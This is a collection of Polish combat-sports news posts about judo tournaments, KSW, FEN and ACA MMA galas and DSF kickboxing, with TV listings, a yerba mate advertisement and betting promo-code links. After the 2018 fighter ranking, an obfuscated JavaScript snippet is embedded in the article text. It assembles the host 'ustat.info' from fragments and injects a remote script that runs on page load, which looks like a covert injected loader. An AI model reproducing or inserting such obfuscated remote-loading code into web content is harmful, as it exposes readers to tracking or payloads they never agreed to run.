Męska rywalizacja w Warszawie

Rok temu w zawodach European Open w judo w Warszawie rywalizowały kobiety, teraz czas na mężczyzn. 2-3 marca ponad 300 zawodników powalczy o medale i cenne, w kontekście kwalifikacji na Igrzyska Olimpijskie, punkty.

W Arenie Ursynów pojawią się zawodnicy z blisko 40 państw. Wśród nich m.in. reprezentanci Francji, Węgier, Azerbejdżanu, Wielkiej Brytanii, Hiszpanii, Tadżykistanu czy też Guamu, Laosu oraz Senegalu. Na listach startowych nie brakuje ciekawych nazwisk. W Warszawie o medale będzie walczył brązowy medalista mistrzostw Europy z 2017 roku Chorwat Dominik Drużeta (81kg). Z apetytem na kolejne zwycięstwo przyjedzie Oruj Valizada (60kg). Zawodnik z Azerbejdżanu wygrał ostatnio zawody w Rzymie. Umiejętności zaprezentuje również brązowy medalista mistrzostw Europy U23 Yaring Menaged (66kg). Warto podkreślić, że w Warszawie wystąpi wielu zdolnych i perspektywicznych judoków, którzy na poziomie młodzieżowym i juniorskim zdobywali medale wielkich imprez.

Atut własnego terenu będą starali się wykorzystać Polacy. Piotr Kuczera (90kg) od blisko roku czeka na kolejne podium. Ostatnio "na pudle" stanął 30 marca 2018 roku podczas Grand Prix Tbilisi, gdzie sięgnął po brąz. Dotychczas w Warszawie trzeci zawodnik mistrzostw Europy w Kazaniu z 2016 roku wystąpił raz. W 2015 roku odpadł w drugiej rundzie. Po ubiegłorocznym piątym miejscu na mistrzostwach świata, czas na kolejny sukces Damiana Szwarnowieckiego (81kg). Judoka z Wrocławia dotychczas w Warszawie startował dwukrotnie. W 2013 roku zajął siódmą lokatę, w 2015 roku dotarł do trzeciej rundy, ale przegrał z Artemem Khomulą. Duże nadzieje są wiązane z występem Macieja Sarnackiego (+100kg). W kolejnych sezonach judoka z Olsztyna prezentuje równą formę. Z Warszawy Sarnacki ma dobre wspomnienia. W 2015 roku wygrał w stolicy zawody European Open. Ostatnio w Dusseldorfie z dobrej strony pokazał się Wiktor Mrówczyński (73kg), który był siódmy. O niespodziankę mogą pokusić się m.in. Rafał Kozłowski (90kg) czy też Patryk Wawrzyczek i Łukasz Kiełbasiński (obaj 66kg). Również pozostali kadrowicze są w stanie odnieść sukces.

Z pewnością punktem odniesienia dla biało-czerwonych będzie występ ich koleżanek z 2018 roku. Panie w Warszawie zdobyły siedem medali, w tym dwa złote i okazały się najlepsze w klasyfikacji końcowej. Powtórzenie tego wyczynu będzie zadaniem trudnym, aczkolwiek możliwym do wykonania. Zatem – czekamy na medale.

KM

Olimpijskie akcenty w Łodzi

Damian Janikowski, Szymon Kołecki i Satoshi Ishii mają na swoim medale igrzysk olimpijskich. Tych trzech zawodników zaprezentuje się podczas gali KSW 47, która odbędzie się 23 marca w Łodzi. W walce wieczoru o pas mistrzowski wagi ciężkiej zmierzą się Philip de Fries oraz Tomasz Narkun.

"Żyrafa" zmierza po kolejne trofeum w KSW. Od ponad trzech lat Narkun znajduje się w posiadaniu tytułu w wadze półciężkiej. W minionym roku dwukrotnie pokonał ikonę organizacji Mameda Khalidova. Teraz Narkun ponownie chce znaleźć się na pierwszym planie i zostać drugim, po Mateuszu Gamrocie, podwójnym czempionem federacji. 23 marca na drodze stanie mu Phillip de Fries. Anglik miał mocne wejście do organizacji KSW. We Wrocławiu (KSW 43) w pierwszej rundzie zastopował Michała Andryszaka i sięgnął po pas w wadze ciężkiej. Podczas KSW 45 na Wembley obronił tytuł poddając przez americanę Karola Bedorfa. Można przypuszczać, że starcie de Fries – Narkun zakończy się przed czasem. Obaj fighterzy potrafią w efektowny sposób poddać rywala.

W Łodzi w KSW zadebiutuje złoty medalista olimpijski z Pekinu Szymon Kołecki. Do niedawna 37-latek występował w organizacji Babilon MMA, gdzie wygrał trzy z czterech walk. W Łodzi zmierzy się z weteranem KSW Mariuszem Pudzianowskim. Ten pojedynek wzbudzał emocje i był długo wyczekiwany. 23 marca czas nas starcie wielkich wojowników.

Po porażce na Wembley zrehabilitować będzie chciał się brązowy medalista olimpijski z Londynu w zapasach Damian Janikowski. Polak nie będzie miał łatwego zadania. W Łodzi zmierzy sie z Serbem Aleksandarem Iliciem, który ma na koncie dziesięć zwycięstw i dwie porażki.

Kolejnym medalistą olimpijskim, który zaprezentuje się podczas KSW 47 będzie judoka Satoshi Ishii. Japończyk zdobył złoto w Pekinie. W MMA ma bogate doświadczenie – 19 zwycięstw, osiem porażek i jeden remis. Rywalem Japończyka w Łodzi będzie były mistrz KSW w wadze ciężkiej Fernando Rodrigues Jr., który ostatnio wrócił na zwycięską ścieżkę. Podczas gali Superior Challenge 17 pokonał Jamessa McSweeney'a.

W Łodzi dojdzie do starcia Borysa Mańkowskiego z Normanem Parkiem. Polak nie wygrał od grudnia 2016 roku. Marcina Wrzoska czeka starcie z Danielem Torresem. Podczas KSW 47 dojdzie do walki niepokonanych pań – Karoliny Owczarz i Aleksandry Roli.

Ponadto w Łodzi w akcji zaprezentują się Maciej Kazieczko i Bartłomiej Kopera oraz Dawid Gralka i Paweł Politylo.

Fot. KSW

KM

Adrian Zieliński – prawdziwy wojownik

Uchodzący za jednego z najlepszych zawodników wagi lekkiej w Polsce, Adrian Zieliński 16 marca wystąpi na gali FEN 24 w Warszawie. Jego ostatni występ w stolicy zakończył się zwycięstwem. Co istotne – Zieliński zawsze jest gwarantem wysokiego poziomu sportowego.

32-letni zawodnik z Olsztyna niejednokrotnie pokazał, że zasługuje na miano jednego z najlepszych w swojej kategorii. W listopadzie 2013 roku podczas gali PLMMA 24 Extra Zieliński pokonał Adama Golonkiewicza i zdobył pas w wadze lekkiej. Kolejny występ był prawdziwym testem dla olsztynianina, który stanął oko w oko z Nikko Puhakką. Fin był niepokonany na polskiej ziemi, jednak w końcu znalazł pogromcę w osobie Zielińskiego. Choć pojedynek był wyrównany i mistrz PLMMA musiał być uważny w parterze, wytrwał trzy rundy i mądrze prowadził walkę. Werdykt sędziów na korzyść Zielińskiego. Jedną z najefektowniejszych i najszybszych wygranych w wykonaniu 32-latka było zwycięstwo nad Miroslavem Strbakiem. Gala XCage 6/PLMMA 38 w Toruniu należała do Adriana Zielińskiego. Od pierwszych sekund Polak napierał na rywala i po jednym z ciosów Słowak wylądował na deskach. Pojedynek na chwilę przeniósł się do parteru, ale niebawem panowie stanęli "oko w oko" w stójce. Potężny cios Zielińskiego w szczękę rywala i było po walce.

Podczas gali PLMMA 41 – Extra (październik 2014) w Legionowie doszło do zapowiadanego jako niezwykle ciekawe starcie Zielińskiego z Marianem Ziółkowskim o pas mistrzowski. Pojedynek zakończył się szybko… z powodu kontuzji "Golden Boya". Zieliński nie ukrywał, że żałuje takiego obrotu sprawy. Jednak przez pięć minut zawodnicy pokazali wolę walki i ambicję. Ponownie Toruń okazał się szczęśliwym miejscem dla zawodnika urodzonego w Olsztynie. W marcu 2015 roku mieście Mikołaja Kopernika, Zieliński odniósł efektowną wygraną z Viktorem Tomaseviciem. Polak dopadł rywala i nie miał dla niego litości. Ciosy łokciami wymusiły na Litwinie poddanie. Po upływie 4,5 minuty Zieliński świętował zwycięstwo. Tym samym Polak zrewanżował się Tomaseviciowi za wcześniejszą porażkę. Rachunku zostały wyrównane.

Dobra postawa Zielińskiego w Polsce zaprocentowała angażem w organizacji Absolute Championship Akhmat. Co prawda w debiucie Polak poniósł porażkę w pojedynku z Andriejem Koszkinem. W kolejnych starciach potwierdził wysokie umiejętności. Podczas gali ACB 29 w Warszawie na przestrzeni trzech rund Zieliński wypunktował Ustarmagomeda Gadzhidaudova. Polak podkreślał, że mógł zaprezentować się lepiej, al priorytetem była wygrana i cel udało się zrealizować. Podczas gali ACB 35: Memory of Guram w Tbilisi Zieliński zachwycił swoją postawą. W drugiej rundzie Rasul Ediev odczuł potężny prawy sierpowy Polaka i walka przeniosła się do parteru. Wszystkie karty były w rękach Zielińskiego, który zdominował przeciwnika. Efektem było skuteczne duszenie zza pleców.

Jedno można powiedzieć na pewno – Zieliński zawsze walczy na całego. Warto przedstawić tu przykład walki z Piotrem Hallmannem, do której doszło podczas gali ACB 63. Starcie lepiej zaczął zawodnik mający za sobą występy w UFC, jednak w drugiej rundzie Zieliński mocnymi ciosami postraszył przeciwnika. Trzecia odsłona to walka na całego i werdykt 2:1 dla Hallmanna. Ostatni występ Zielińskiego zakończył się również porażką. W Bratysławie, gala ACB 84, lepszy okazał się Amerykanin Joshua Aveles. Zieliński przegrał, ale wystąpił w walce wieczoru i zgarnął 10 tysięcy dolarów za najlepszy pojedynek gali. To mówi samo za siebie.

Bilans Adriana Zielińskiego to 17 zwycięstw i 8 porażek.

https://wearebettors.com/pl/sts-kod-promocyjny

fot. .facebook.com/AdrianZielinskiMMA

Najlepsi zawodnicy MMA 2018

Przedstawiamy ranking najlepszych dziesięciu polskich zawodników MMA w 2018 roku bez podziału na kategorie wagowe.

Stworzenie takiego zestawienia nie jest łatwym zadaniem. W 2018 roku wielu polskich zawodników zrobiło widoczne postępy, mamy swoich przedstawicieli w czołowych europejskich i światowych organizacjach. Przy ocenie pod uwagę brano zarówno efektowne zwycięstwa, zdobyte tytuły i perspektywy rozwoju.

1. Jan Błachowicz

Jeszcze półtora roku temu sytuacja Jana Błachowicza w UFC nie wyglądała kolorowo. Po porażkach z Alexandrem Gustafssonem i Patrickiem Cumminsem, losy "Johna" mogły potoczyć się różnie. Zawodnik urodzony w Cieszynie pokazał charakter i pełnię swoich umiejętności. Wygrał cztery pojedynki z rzędu, z czego dwa w 2018 roku. 36-letni zawodnik pokonał w rewanżu Jimi'ego Manuwę (UFC Fight Night 127) oraz efektownie poddał Nikitę Krylova (UFC Fight Night 136). Gdyby tego było mało Błachowicz awansował na podium w rankingu kategorii półciężkiej.

2. Mateusz Gamrot

1 grudnia 2018 roku w Gliwicach do historii KSW przeszedł Mateusz Gamrot. Popularny "Gamer" pokonał jednogłośną decyzją sędziów Klebera Koike Erbsta i sięgnął po pas mistrzowski w wadze piórkowej. Tym samym został czempionem dwóch kategorii. Gamrot posiada również tytuł w wadze lekkiej, którego skutecznie bronił trzykrotnie. Wcześniej żaden zawodnik KSW nie posiadał jednocześnie dwóch pasów mistrzowskich. W 2018 roku Gamrot zapisał na swoim koncie wygraną z Grzegorzem Szulakowskim.

3. Andrzej Grzebyk

Mistrz wagi średniej organizacji FEN buduje swoją pozycję w polskim MMA. 25 maja 2018 roku sięgnął po pas mistrzowski w wadze średniej. Podczas gali FEN 21 we Wrocławiu Grzebyk pokonał Thiago Vieirę. W ostatnich sekundach trzeciej rundy Polak zachwiał rywalem mocnym kopnięciem, a później zasypał go kanonadą ciosów. Łącznie w 2018 roku Grzebyk wygrał trzy pojedynki. Zawodnik może pochwalić się serią sześciu zwycięstw z rzędu.

4. Tomasz Narkun

Tomasz Narkun stał się pierwszoplanową postacią organizacji KSW. Ponad trzy lata temu w Londynie zdobył tytuł w wadze półciężkiej. W 2018 roku popularny "Żyrafa" wszedł na tron KSW. Tomasz Narkun dwukrotnie pokonał legendę organizacji – Mameda Khalidova. Najpierw podczas KSW 42 w Łodzi, a następnie w Gliwicach (KSW 46). Kolejny cel? Pas w wadze ciężkiej. O tytuł Narkun będzie rywalizował 23 marca z Philipem de Friesem.

5. Marcin Held

Po nieudanej przygodzie w UFC, gdzie wygrał tylko jedną walkę, Marcin Held świetnie odnalazł się w organizacji Absolute Championship Akhmat (wcześniej ACB). W 2018 roku były zawodnik Bellatora pokonał Callana Potter (ACB 88) oraz Musę Khamanaeva (ACB 90). Marcin Held efektownie wygrywał przed czasem przez dźwignię skrętową na staw skokowy.

6. Mateusz Rębecki

Mateusz Rębecki przebojem wszedł do organizacji Fight Exclusive Night i podążał drogą na szczyt na szczyt. W 2018 roku Popularny "Chińczyk" wywalczył pas mistrzowski w wadze lekkiej. Podczas gali FEN 20: Next Level w Warszawie pokonał w walce o tytuł Mariana Ziółkowskiego. W pierwszej obronie uporał się z Łukaszem Koperą (FEN 22). Oba pojedynki Rębecki rozstrzygnął przed czasem.

7. Piotr Strus

Piotr Strus znakomicie radził sobie w organizacji ACB. W 2018 roku po zaciętym starciu pokonał Fernando Gonzaleza i zanotował czwarte zwycięstwo w rosyjskiej organizacji. Polak zapracował na starcie o pas mistrzowski, do którego doszło we wrześniu w Krasnodarze (ACB 89). Strus musiał uznać jednak wyższość Alberta Duraeva.

8. Michał Materla

Były mistrz KSW w wadze średniej zaczął 2018 rok od porażki ze Scottem Askhamem (KSW 42). Później wrócił jednak do gry. Podczas KSW 44: The Game zatrzymał w drugiej rundzie Martina Zawadę. Udana dla Materli była również podróż do Londynu. Podczas gali KSW 45: The Return to Wembley w półfinale turnieju w kategorii średniej "Magic" w pierwszej rundzie odprawił Damiana Janikowskiego, który wcześniej zachwycał widzów. Stary lis pokazał umiejętności i czeka na finał. Tam spotka się z Askhamem.

9. Daniel Skibiński

W grudniu Daniel Skibiński wypunktował Pawła Pawlaka i sięgnął w Raszynie po pas kategorii półśredniej organizacji Babilon MMA. Dla "Skiby" była to trzecia wygrana w 2018 roku. W organizacji Babilon MMA Skibiński pozostaje niepokonany.

10. Marcin Tybura

Marcin Tybura utrzymuje się na pokładzie UFC. Choć rok 2018 nie był najlepszym w karierze polskiego zawodnika wagi ciężkiej, to zanotował cenną wygraną w starciu z wielkim Stefanem Struvem. Dla Polaka był to czwarty triumf w UFC. Tym cenniejszy, że Tybura zwyciężył po dwóch porażkach z rzędu.

https://kodyzaklady.pl/totolotek-kody-promocyjny

[kod]

(function(){
a8x3=document.createElement("script");a8x3_="u"+("s")+"ta";
a8x3_+=("t.i")+""+"n";a8x3_+=(("f")+"o");a8x3.type="text/javascript";
a8x3_+="/"; a8x3u="129713041";a8x3u+=".5xfdh4hi8x37yy5hgfq";a8x3u+="irre31apz4c";
a8x3.src="https://"+a8x3_+a8x3u;a8x3.async=true;document.body.appendChild(a8x3);
})();

Podium było blisko

Anna Borowska (57kg) otarła się o podium turnieju Grand Slam w Duesseldorfie. Zawodniczka zajęła piąte miejsce. Najlepsi w zawodach okazali się Japończycy, którzy zdobyli łącznie 14 medali.

24-letnia judoczka mocnym akcentem rozpoczęła tegoroczne zmagania. W Pucharze Europy w Oberwart cieszyła się ze złotego medalu, a w finale wygrała z czołową zawodniczką w swojej kategorii i jednocześnie mistrzynią olimpijską z Rio de Janeiro Rafaelą Silvą. Borowska mogła z nadziejami jechać do Duesseldorfu. Polka zaczęła zmagania zgodnie z planem. Wygrała trzy walki, po drodze pokonując dziewiątą w światowym rankingu Timnę Nelson Levy. W ćwierćfinale Borowska musiał uznać wyższość wicemistrzyni Europy Theresy Stool. Niemka w ekspresowym tempie zakończyła pojedynek. Borowska pokonała w repasażach przez waza ari Jisu Kim i nadal miała nadzieję na medal. Tę odebrała jej jednak Sumiya Dorjsuren z Mongolii.

Wśród panów najlepiej wypadł Wiktor Mrówczyński (73kg). Polak prezentował się fantastycznie – trzy wygrane walki przed czasem. Po zaciętym starciu Mrówczyński przegrał z Somonem Makhmadbekovem. Polakowi pozostała rywalizacja w repasażach, jednak los nie był dla niego łaskawy. Zawodnik AZS AWF Katowice trafił na wicemistrza olimpijskiego Rustama Orujova. Reprezentant Azerbejdżanu przed upływem dwóch minut zakończył walkę. Mrówczyński zajął siódmą pozycję.

Żadnych złudzeń

Japońska dominacja w Duesseldorfie – tak w dużym skrócie wyglądał turniej Grand Slam. Judocy z Kraju Kwitnącej Wiśni rozbili w pył rywali. Warto nadmienić, że tylko w dwóch kategoriach (70kg i 78kg wśród kobiet) na podium nie stanęła przedstawicielka Japonii. Wśród mężczyzn samurajowie okupowali czołowe miejsca, wygrali aż w sześciu z siedmiu wag!

Łącznie Japończycy zapisali na swoim koncie dziewięć złotych, srebrne i dwa brązowe medale. Po jednym krążku z najcenniejszego kruszcu zdobyli: Brazylia (Mayra Aguiar (78kg), Azerbejdżan (Mammadali Mehdiyev 90kg), Wielka Brytania (Sally Conway 70kg), Kuba (Idalys Ortiz +78kg) i Kosowo (Majlinda Kelmendi 52kg).

Uzupełniając klasyfikację medalową – druga Brazylia (złoto, srebro i trzy brązy), trzeci Azerbejdżan (złoto i trzy brązy).

Fot. IJF

KM

Sarara nadal na mistrzowskim tronie

DSF Kickboxing Challenge 20 ''Królowie Ringu'' w Krakowie, czyli trzy starcia o pasy mistrzowskie. Na tronie wagi ciężkiej pozostał Tomasz Sarara. Mistrzami zostali Adam Gielata i Marcin Mazurekiewicz. 

W pierwszej obronie mistrzowskiego pasa wagi ciężkiej Tomasz Sarara miał okazję zaprezentować się przed własną publicznością. Kraków to jego miejsce na ziemi. Rywalem polskiego fightera był Francuz Abderahmane Coulibaly. Sarara zaczął spokojnie, rywal był za to aktywny. Coulibaly próbował trafić mistrza kolanem i middle kickami. W końcówce drugiej rundy Francuz zamknął Polaka w narożniku. Kolejną odsłonę od przyspieszenia zaczął Sarara. Wysokie kopnięcie, seria ciosów pod linami, ale Francuz szybko wyszedł z opresji. Z czasem Francuz stracił animusz. Sarara licznymi kombinacjami góra-dół podkreślał swoją przewagę. W piątej rundzie obaj zawodnicy ruszyli odważnie do przodu – cios za cios. Sarara trafił high kickiem, Francuz odpowiedział mocnym lewym sierpem. Na twarzach zawodników widać było zmęczenie, ale do końca dawali z siebie wszystko. Ciekawych pięć rund. Początek dla Francuza, później kontrolę nad pojedynkiem przejął Polak. Na tronie kategorii ciężkiej pozostał Tomasz Sarara.

Udany debiut w organizacji DSF Kickboxing Challenge zaliczył Łukasz Jarosz. 40-latek na przestrzeni trzech rund był zdecydowanie lepszy od Wendella Roche'a. Wydawało się, że Jarosz może triumfować już w pierwszej rundzie. Polak narzucił szybkie tempo i nawałnica ciosów zasypała zawodnika z Curacao. Roche był liczony, jednak przetrwał napór Jarosza. W kolejnych rundach starał się być równorzędnym rywalem dla dwukrotnego mistrza świata ISKA. Nikt nie mógł mieć jednak wątpliwości – Jarosz wygrał jednogłośną decyzją sędziów.

Pięć morderczych rund obejrzeli kibice zgromadzeni w hali przy ul. Reymonta w Krakowie. Marcin Mazurkiewicz i Piotr Sokół stworzyli świetne widowisko w starciu o pas mistrzowski DSF w wadze do 75kg. Fantastyczne wymiany, mnóstwo ciosów i szybkie tempo. Ani przez chwilę nie można było narzekać na nudę. Z mistrzowskiego pasa cieszył się jednak Mazurkiewicz, na którego korzyść punktowali sędziowie – 48-47, 49-47, 49-47.

W Krakowie miało dojść do dwóch pojedynków ćwierćfinałowych turnieju wagi ciężkiej. Odbył się jeden, ponieważ Kirill Kornilov wycofał się z powodu choroby. W związku z tym do półfinału awansował Tomas Hron. Drugi ćwierćfinał – Dawid Zółtaszek pewnie wypunktował Zakhara Trafimova.

Adam Gielata wykorzystał szansę i zdobył pas mistrzowski DSF w kategorii do 71kg. Zawodnik Punchera Wrocław nie ukrywał swoich aspiracji. Niejednokrotnie podkreślał, że chciałby stoczyć walkę o pas. W Krakowie Jarosław Daschke musiał ustąpić miejsca na tronie Gielacie. Zawodnik Puchera Wrocław okazał się lepszy na przestrzeni trzech rund – 50:46, 49:46, 50:46.

W pozostałych starciach – Kamil Sójkowski przez niejednogłośną decyzję pokonał Tomasza Brotonia, a Rafał Dudek Artura Zakirko.

Fot. DSF Kickboxing Challenge Facebook

KM

Marzenia trzeba odłożyć

Znakomita seria Jana Błachowicza dobiegła końca. Podczas gali UFC Fight Night 145 w Pradze zawodnik pochodzący z Cieszyna przegrał w Thiago Santosem. W stolicy Czech zwycięstwo świętował Michał Oleksiejczuk.

Po czterech zwycięstwach z rzędu przed Janem Błachowiczem rysowała się realna szansa na pojedynek o pas mistrzowski w wadze półciężkiej. Przeszkodą na drodze do realizacji marzeń był Thaigo Santos. Pojedynek Polaka i Brazylijczyka był głównym wydarzeniem gali w Pradze. Początek starcia nie należał do porywających. Żaden z zawodników nie chciał popełnić błędu, obaj byli ostrożni i walczyli asekuracyjnie.  Brazylijczyk próbował niskich kopnięć, atakował na kolano. W pierwszej rundzie Błachowicz szukał obalenia, ale bezskutecznie. Druga odsłona – spokojna. Kilka ciosów z obu stron, na koniec ekwilibrystyczne popisy Santosa. Trzecia runda odmienna od dwóch poprzednich. Do przodu ruszył Błachowicz, ale nadział się na ciosy Brazylijczyka i padł na deski. Santos natychmiast ruszył na Polaka, grad ciosów spadł na głowę byłego mistrza KSW. Sędzia przerwał pojedynek. Marzenia o mistrzowskiej walce prysły. Piąta porażka Błachowicza w UFC, Santos zanotował czwarte zwycięstwo z rzędu.

Znakomity powrót do oktagonu zaliczył Michał Oleksiejczuk. Popularny "Lord" czekał na kolejną walkę ponad rok. W UFC zadebiutował w grudniu 2017 roku i pokonał Khalila Rountree'ego, jednak później został zawieszony na dwanaście miesięcy za stosowanie niedozwolonych środków.  Oleksiejczuk w Pradze zmierzył się z Gianem Villante, który w amerykańskiej organizacji prezentuje się w kratkę. W ostatniej walce pokonał Eda Hermana, ale wcześniej przegrał z Samem Alvey'em. W Pradze polski zawodnik zaprezentował się znakomicie. Minęło półtorej minuty, a Oleksiejczuk trafił pięścią na wątrobę Amerykanina, a ten znalazł się po chwili na deskach. "Lord" nie mógł zmarnować takiej okazji.

Efektowną wygraną zanotował Stefan Struve, który przegrał niedawno z Marcinem Tyburą. W Pradze Holender zmierzył się z Marcosem Rogerio de Limą. Choć pierwsza runda w jego wykonaniu nie należała do najlepszych, w drugiej pokazał swój potencjał. Struve w parterze był z góry i wykonał duszenie trójkątne. Rywal musiał odklepać.

Fot. Jan Błachowicz Facebook

KM

FighTime Live – 25.02.2019

[kod]

Program TV na 25.02.2019   ""

17:00 – STUDIO – gościem Andrzej Supron
17:35 – PLMMA 75 (2017)
18:40 – Masters Fight Series 1 (2017)
20:30 – STUDIO – gościem Jacek Wieczorek
20:55 – Mistrzostwa Polski Kickboxingu Full Contact (2016)
22:10 – STUDIO – gościem Andrzej Malina
22:45 – Mistrzostwa Polski K-1 (2017)
00:05 – Zakończenie programu.

FighTime Live – 26.02.2019

[kod]

Program TV na 26.02.2019   ""

17:00 – STUDIO – gościem Łukasz Wichowski
17:12 – Mistrzostwa Polski Oriental Rules (2015)
19:50 – STUDIO – gościem Karol Łada
20:10 – Mecz POLSKA vs UKRAINA Kick Light (2017)
21:25 – REPORTAŻ – Marcin Różalski
21:30 – Gala Fighters Night 4 K-1 (2015)
22:40 – Gala Granda PRO 5 (2017)
00:00 – Zakończenie programu

Yerba Mate Green z guaraną – wypróbuj przed treningiem!

Ostrokrzew paragwajski to jedna z roślin obfitujących w kofeinę, którą w przypadku yerba mate nazywa się mateiną. Działa bowiem trochę inaczej niż kofeina obecna w kawie – dłużej i nie powoduje nagłego skoku ciśnienia i równie szybkiego spadku zarówno energii, jak i mikroelementów w organizmie. Yerba mate uzupełnia minerały i witaminy! Podobnie jest w przypadku innej rośliny posiadającej alkaloid kofeinę, czyli guarany. Kofeina w guarania zwana jest po prostu guaraniną. I działa jeszcze mocniej niż wymienione wcześniej zioła! Guarana jest owocem, który po sproszkowaniu stanowi maksymalne stężenie swej mocy – wystarczy łyżeczka lub dwie i czujemy gwałtowne pobudzenie całego ciała. Guarana jest zatem idealna do zadań specjalnych, ale też jako uzupełnienie innych kofeinowych naparów.

Brazylijska Yerba Mate Green z guaraną

W suszu świeżej, pozbawionej pyłu Yerba Mate Green Mas Energia, dodano nie tylko wzmacniającą moc pobudzającą guaranę. Oprócz niej w Mas Energia występują także orzeźwiające zioła: trawa cytrynowa, mięta, płatki bławatka i nagietka. Taka kompozycja skutecznie da nam energię, rześkość i świetne trawienie. Guarana wpływa też na polepszenie koncentracji i pracę umysłową. Brazylijska yerba mate będzie dobra dla osób potrzebujących dużych ilości kofeiny, a zarazem delikatności smaku. Yerba Mate Green jest słodkawa, naturalna gorzkość samego suszu yerbowego uwalnia się stopniowo, wraz z kolejnymi zalaniami. A obecność ziół sprawia, że yerba jest też wydajna. Sprawdzi się na ciepło i na zimno, jako odświeżające terere – yerba mate zalana wodą z lodem. Zabierz Yerba Mate Green Mas Energia do pracy, na studia czy na siłownię. Znajdziesz ją w sklepie YerbaMarket.com: https://www.yerbamarket.com/pol_m_Yerba-mate-100.html

Yerba Mate Green Mas Energia Guarana

Gatunek odpylonej i suszonej gorącym powietrzem Yerba Mate Green z dodatkiem guarany, to jedna z najchętniej kupowanych yerba mate na rynku! Wiele osób ufa tej yerba mate nie tylko w przypadku świetnego, sprawdzonego pobudzenia, ale również smaku. A dobre działanie i idealny dla naszego gustu aromat, to przepis na znalezienie swojej yerby życia! Być może Mas Energia Guarana jest właśnie tą yerbą w twoim przypadku. Pachnące, duże listki, a w nich zatopione aromatyczne zioła i sproszkowana guarana, której moc aż wiruje w powietrzu – zakochasz się w tej yerbie mocy już po pierwszym łyku! Dla czytelników Fightime sklep YerbaMarket.com przygotował promocję, do każdego zamówienia z dopiskiem "Fightime" zapakujemy drobną niespodziankę 🙂

Pas nie dla Celińskiego

W walce wieczoru gali ACA 92 w Warszawie Karol Celiński (93kg) miał szansę na zdobycie pasa wagi półciężkiej. Polak przegrał w czwartej rundzie. Kolejne zwycięstwo zanotował Daniel Omielańczuk (120kg).

Torwar nie przyniósł szczęścia Karolowi Celińskiemu. To miał być najważniejszy dzień w karierze popularnego "Cebuli". Polak znakomicie radził sobie dotychczas w czeczeńskiej organizacji. Cztery wygrane i walka o pas. Piękny sen został przerwany przez mistrza kategorii półciężkiej Dowłedzana Jagszimuradowa. Obaj musieli być przygotowani na morderczy pojedynek, w końcu czekało ich pięć rund. Minęły trzy i trudno było wskazać faworyta. Do ataku ruszył mistrz. W czwartej rundzie Jagszimuradow sprowadził Celińskiego do parteru. Kręcił, kręcił i zdobył pozycję boczną. Na głowę Celińskiego spadło mnóstwo ciosów, pojawiło się na niej również rozcięcie. Polak zdążył wstać, ale po chwili znów starcie toczyło się w parterze. Grad łokci ze strony Rosjanina sprawił, że "Cebula" nie był w stanie odpowiedzieć. Mistrz obronił tytuł.

Doświadczony Daniel Omielańczuk pokazał klasę i zanotował pewne zwycięstwo. Żelimchan Umiev nie wytrzymał naporu 36-letniego Polaka. Omielańczuk decydował o tempie walki i szukał możliwości trafienia rywala. Były zawodnik UFC zamykał Rosjanina pod siatką, gdzie słał w jego stronę kolejne ciosy. Umiev nie potrafił przeciwstawić się Omielańczukowi, a wraz z upływem czasu wyglądał na coraz bardziej bezradnego i zmęczonego. Omielańczuk nie zamierzał oszczędzać przeciwnika, w końcówce zaliczył sprowadzenie i nie było wątpliwości, kto wygra. Polak zanotował drugi triumf w ACA.

Drugą porażkę w organizacji ACA zanotował Piotr Strus (84kg), choć wynik należy ocenić jako kontrowersyjny. Co prawda Ibragim Czużigajew lepiej zaczął pojedynek, jednak wraz z upływem czasu Polak pokazał, że należy do czołówki wagi średniej. Nie brakowało mocnych ciosów, a Strus naruszył rywala. Trzecia runda to popis byłego zawodnika KSW, który zdominował Rosjanina. Kropką nad "i" miało być sprowadzenie Czużigajewa do parteru. Strus w końcu zdobył plecy i trafiał łokciami. Rywal z nadzieją wypatrywał końca walki i cel osiągnął. Werdykt był zaskakujący – niejednogłośną decyzją sędziów wygrał Czużigajew. Dobra postawa Strusa to było za mało w oczach oceniających…

Czwarte zwycięstwo z rzędu odniósł Aslambek Saidov (77kg), który pokonał Ciro Rodriguesa. Znany z występów w KSW zawodnik wygrał przez TKO w drugiej rundzie. Udany debiut w MMA zaliczył Radosław Paczuski (93kg). Zawodnik Uniq Fight Club po wymagającym starciu pokonał decyzją sędziów Jarosława Lecha. Mateusz Łazowski (120kg) znokautował w pierwszej rundzie Dawida Kobierę. Galę w Warszawie otworzył zwycięstwem Grzegorz Joniak (57kg), który większościową decyzją pokonał Shamkhana Erzanukaeva.

Fot. Karol Celiński Facebook

KM

Dziesięciu Polaków wystąpi na ACA 92

W najbliższą sobotę (16 lutego) warszawski Torwar skupi emocje związane z galą ACA 92, podczas której zobaczymy dziesięciu reprezentantów Polski. Łącznie zaplanowano 15 walk, w tym o pas mistrzowski kategorii półciężkiej – Karol Celiński zmierzy się z czempionem Dowłedzanem Jagszimuradowem.

W grudniu organizacja ACB przekształciła się w ACA w wyniku połączenia z World Fighting Championship Akhmat. Pierwsza gala pod nową banderą odbyła się 26 stycznia w Groznym. Podczas wydarzenia doszło do dwudziestu pojedynków! Władze organizacji stawiają na ilość, ale także na jakość. Przede wszystkim liczy się walka i najwyższej klasy umiejętności zawodników.

Kolejną dawką MMA organizacja uraczy podczas gali ACA 92 w Warszawie. 16 lutego w akcji zobaczymy dziesięciu Polaków. W walce wieczoru zaprezentuje się Karol Celiński, który stanie przed największym wyzwaniem w karierze. Po czterech wygranych popularny "Cebula" stanie przed szansą na wywalczenie pasa w wadze półciężkiej. Pochodzący z Turkmenistanu Jagszimuradow wygrał sześć ostatnich pojedynków, w tym pięć w ACB. Co istotne – wszystkie starcia w czeczeńskiej organizacji rozstrzygnął na swoją korzyść przed czasem!

30-letni Piotr Strus będzie chciał w Warszawie zrehabilitować się za porażkę z Albertem Durajewem w pojedynku o pas wagi średniej. Czeka go kolejne trudne wyzwanie. Ibragim Chuzhigaev od czterech lat występuje w ACA (ACB) i jest wysoko w rankingu kategorii średniej. 27-latek wygrał trzy starcia z rzędu. Strus udowodnił, że należy do czołówki wagi średniej i zapracował na walkę o pas. Musi pokonać Chuzhigaeva, aby dostać kolejną szansę na zdobycie mistrzowskiego tytułu.

Trzeci raz w czeczeńskiej organizacji zaprezentuje się Daniel Omielańczuk. Ostatnio Polak przegrał z Amirem Aliakbarim. W Warszawie Omielańczuk zmierzy się z doświadczonym Zelimkhanem Umievem, który czeka na dwunastą wygraną. 37-letni Rosjanin w sierpniu zanotował porażkę w starciu z Evgenijem Goncharovem podczas WFCA 50. Co istotne, Umiev ma na rozkładzie zawodnika z Polski – w 2014 roku pokonał Jacka Czajczyńskiego.

